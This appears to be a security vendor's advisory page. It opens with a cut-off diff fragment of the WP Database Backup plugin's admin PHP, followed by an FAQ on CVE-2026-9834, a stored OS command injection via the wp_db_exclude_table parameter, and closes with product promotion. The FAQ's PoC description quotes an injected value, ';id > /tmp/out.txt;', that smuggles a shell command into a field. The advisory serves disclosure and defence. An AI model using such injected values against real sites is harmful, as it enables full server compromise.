-				<input name="wpdbbackup_update_cd_setting" type="hidden" value="<?php echo esc_attr( wp_create_nonce( 'wpdbbackup-update-cd-setting' ) ); ?>" />
-				<?php wp_nonce_field( 'wp-database-backup' ); ?>
-				<div class="row form-group">
-					<label class="col-sm-3" for="wpdb_clouddrive_token"><?php echo esc_html__('BackforWP API Token', 'wpdbbkp') ?></label>
-					<div class="col-sm-6">
-
-						<input type="text" id="wpdb_clouddrive_token" class="form-control" name="wpdb_clouddrive_token" value="<?php echo esc_html( get_option( 'wpdb_clouddrive_token' ) ); ?>" size="25" placeholder="<?php esc_attr_e('26b18a624d2f5e01324bc81f90cfff63ba493bc15f00d790729fb437e90f54ea','wpdbbkp');?>">
-						<a href="https://app.backupforwp.com/websites" target="_blank"><span class="glyphicon glyphicon-question-sign" aria-hidden="true"></span></a>
-					</div>
-				</div>
-
-				<p style="padding-left:20px"><input type="submit" name="Submit" class="btn btn-primary" value="<?php esc_attr_e( 'Save' , 'wpdbbkp' ); ?>" /> 
-				</p>
-			</form>
-		</div>
-</div>
-
-
-</div>
-<div class="tab-pane" id="db_migrate">
-	<ul class="nav nav-tabs">
-		<li class="msub-tab active" id="msub-tab-export" onclick="handleNavigateChildTab(event, 'export')" style="cursor:pointer">
-			<a href="#" data-toggle="tab"><?php echo esc_html__('Export', 'wpdbbkp') ?></a>
-		</li>
-		<li class="msub-tab" id="msub-tab-import" onclick="handleNavigateChildTab(event, 'import')" style="cursor:pointer">
-			<a href="#" data-toggle="tab"><?php echo esc_html__('Import', 'wpdbbkp') ?></a>
-		</li>
-	</ul>
-	<?php
-		$nonce                     = wp_create_nonce( 'wp-database-backup' );
-		$wp_db_backup_search_text  = get_option( 'wp_db_backup_search_text' );
-		$wp_db_backup_replace_text = get_option( 'wp_db_backup_replace_text' );
-	?>
-	<div class="msub-tab-block" id="msub-tab-block-export" style="padding:20px;">
-		<div style="width: 500px;border: 5px dotted #204d74;margin: 0 auto;padding: 20px;border-radius: 10px;
-text-align: center;">
-	<?php
-		$wpdbbkp_export_notify = get_option('wpdbbkp_export_notify',false);
-		if($wpdbbkp_export_notify==false){
-		?>
-			<a href="#" id="wpdbbkp-create-full-export" class="btn btn-primary"> <span class="glyphicon glyphicon-plus-sign"></span> <?php echo esc_html__('Start Export', 'wpdbbkp');?></a>
-		<?php }?>
-		<div id="wpdb-export-process" style="display:none">
-			<div class="text-center"><img width="50" height="50" src="<?php echo esc_url(WPDB_PLUGIN_URL . "/assets/images/icon_loading.gif"); /* phpcs:ignore PluginCheck.CodeAnalysis.ImageFunctions.NonEnqueuedImage */ ?>">
-				<h5 class="text-success"><strong><?php echo esc_html__('Import proces

Frequently Asked Questions

What is CVE-2026-9834?
Vulnerability overview
CVE-2026-9834 is a high-severity OS command injection vulnerability in the WP Database Backup plugin for WordPress, versions 7.11 and earlier. It allows authenticated attackers with administrator-level access to execute arbitrary operating system commands on the server via the wp_db_exclude_table parameter.
How does the vulnerability work?
Technical mechanism
The plugin directly concatenates user-supplied values from the wp_db_exclude_table POST parameter into a mysqldump shell command without proper escaping. While other arguments are escaped with escapeshellarg, the exclude-table values are not, allowing shell metacharacters like ;, |, and $() to inject additional commands.
Who is affected by this vulnerability?
Affected users
Any WordPress site using WP Database Backup version 7.11 or earlier is affected. The attacker must have administrator-level credentials, so the risk is highest on sites where untrusted users have admin access or where admin accounts are compromised.
How can I check if my site is vulnerable?
Detection method
Check the installed version of the WP Database Backup plugin in the WordPress admin plugins page. If the version is 7.11 or lower, the site is vulnerable. You can also verify by looking for the wp_db_exclude_table option in the wp_options database table.
How do I fix the vulnerability?
Patch and update
Update the WP Database Backup plugin to version 7.12 or later, which applies escapeshellarg to the wp_db_exclude_table values. As a temporary mitigation, you can restrict admin access to trusted users only and consider using a web application firewall to block malicious input.
What is the CVSS score and what does it mean?
Risk assessment
The CVSS score is 7.2 (High). This indicates significant impact on confidentiality, integrity, and availability, as successful exploitation allows full remote code execution. However, exploitation requires authenticated admin access, which reduces the attack surface.
Can the vulnerability be exploited without authentication?
Authentication requirement
No, the vulnerability requires authenticated access with administrator-level privileges. The attacker must be able to log in to the WordPress admin panel and access the plugin settings page to submit the malicious payload.
What is the proof of concept (PoC) demonstrating?
PoC explanation
The PoC shows an attacker logging in as an admin, extracting a nonce, and submitting a malicious wp_db_exclude_table value containing a command like ;id > /tmp/out.txt;. When a backup runs, the command executes, writing output to a file, confirming OS command injection.
Is the vulnerability stored or reflected?
Injection persistence
The injection is stored. The malicious value is saved to the WordPress options table via update_option and retrieved later with get_option during backup execution. This means the payload persists until removed or overwritten.
What is the impact of successful exploitation?
Potential damage
An attacker can execute arbitrary OS commands, leading to full server compromise. This includes reading or modifying files, exfiltrating the database, installing web shells, and pivoting to internal networks. The backup process often runs with high privileges, amplifying the impact.
How does the patch fix the vulnerability?
Code fix analysis
The patch applies escapeshellarg to each value in the wp_db_exclude_table array before concatenating it into the mysqldump command. This ensures that shell metacharacters are escaped and treated as literal characters, preventing command injection.
Are there any mitigations if I cannot update immediately?
Temporary workarounds
If immediate update is not possible, restrict admin access to trusted users only, disable the plugin if not needed, or use a web application firewall (WAF) with rules to block shell metacharacters in the wp_db_exclude_table parameter. However, updating is the only complete fix.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started